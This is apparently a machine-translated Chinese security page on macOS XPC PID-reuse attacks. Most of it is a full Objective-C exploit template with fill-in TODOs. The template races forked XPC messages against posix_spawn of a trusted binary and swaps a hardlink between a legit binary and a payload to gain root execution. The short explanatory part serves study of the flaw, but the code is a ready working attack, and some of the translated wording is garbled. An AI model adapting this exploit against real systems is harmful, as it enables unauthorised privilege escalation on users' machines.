最后更新于
最后更新于
当 macOS XPC 服务基于 PID 而不是 审计令牌 来检查调用进程时,就容易受到 PID 重用攻击的影响。这种攻击基于 竞争条件,其中一个 利用程序将会 向 XPC 服务发送消息,滥用功能,然后立即执行 posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)
与 允许的 二进制文件。
这个函数将使 允许的二进制文件拥有 PID,但 恶意 XPC 消息 将在此之前发送。因此,如果 XPC 服务在执行 posix_spawn
后使用 PID 进行 身份验证 并在 检查之后,它会认为消息来自一个 授权的 进程。
如果您发现函数 shouldAcceptNewConnection
或其调用的函数调用了 processIdentifier
而没有调用 auditToken
。这很可能意味着它正在验证进程 PID 而不是审计令牌。
例如,如下图所示(摘自参考资料):
检查此示例攻击(同样摘自参考资料)以查看攻击的两个部分:
一个生成多个 fork
每个 fork 将在发送消息后立即执行 posix_spawn
向 XPC 服务发送 有效载荷。
为了使攻击生效,重要的是 export`` ``
OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
或将其放入攻击中:
第一种选项是使用**NSTasks
**和参数来启动子进程以利用RC
这个示例使用原始的 **`fork`** 来启动 **利用 PID 竞争条件的子进程**,然后利用 **通过硬链接实现的另一个竞争条件**: ```objectivec // export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES // gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h> #include <spawn.h> #include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS @protocol HelperProtocol
(void)DoSomething:(void (^)(_Bool))arg1; @end
// Global flag to track exploitation status bool pwned = false;
/**
Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
XPC service verify the legit binary and then execute as root out payload. */ void *check_race(void *arg) { while(!pwned) { // Overwrite with contents of the legit binary system("cat ./legit_bin > hard_link"); usleep(50000);
// Overwrite with contents of the payload to execute // TODO: COMPILE YOUR OWN PAYLOAD BIN system("cat ./payload > hard_link"); usleep(50000); } return NULL; }
void child_xpc_pid_rc_abuse(){ // TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION #define kValid "./Legit Updater.app/Contents/MacOS/Legit" extern char **environ;
// Connect with XPC service // TODO: CHANGE THE ID OF THE XPC TO EXPLOIT NSString* service_name = @"com.example.Helper"; NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000]; // TODO: CNAGE THE PROTOCOL NAME NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)]; [connection setRemoteObjectInterface:interface]; [connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) { NSLog(@"[-] Something went wrong"); NSLog(@"[-] Error: %@", error); }];
NSLog(@"obj: %@", obj); NSLog(@"conn: %@", connection);
// Call vulenrable XPC function // TODO: CHANEG NAME OF FUNCTION TO CALL [obj DoSomething:^(_Bool b){ NSLog(@"Response, %hdd", b); }];
// Change current process to the legit binary suspended char target_binary[] = kValid; char *target_argv[] = {target_binary, NULL}; posix_spawnattr_t attr; posix_spawnattr_init(&attr); short flags; posix_spawnattr_getflags(&attr, &flags); flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED); posix_spawnattr_setflags(&attr, flags); posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ); }
/**
Function to perform the PID race condition using children calling the XPC exploit. */ void xpc_pid_rc_abuse() { #define RACE_COUNT 1 extern char **environ; int pids[RACE_COUNT];
// Fork child processes to exploit for (int i = 0; i < RACE_COUNT; i++) { int pid = fork(); if (pid == 0) { // If a child process child_xpc_pid_rc_abuse(); } printf("forked %d\n", pid); pids[i] = pid; }
// Wait for children to finish their tasks sleep(3);
// Terminate child processes for (int i = 0; i < RACE_COUNT; i++) { if (pids[i]) { kill(pids[i], 9); } } }
int main(int argc, const char * argv[]) { // Create and set execution rights to 'hard_link' file system("touch hard_link"); system("chmod +x hard_link");
// Create thread to exploit sign verification RC pthread_t thread; pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) { // Try creating 'download' directory, ignore errors system("mkdir download 2>/dev/null");
// Create a hardlink // TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse(); usleep(10000);
// The payload will generate this file if exploitation is successfull if (access("/tmp/pwned", F_OK ) == 0) { pwned = true; } }
return 0; }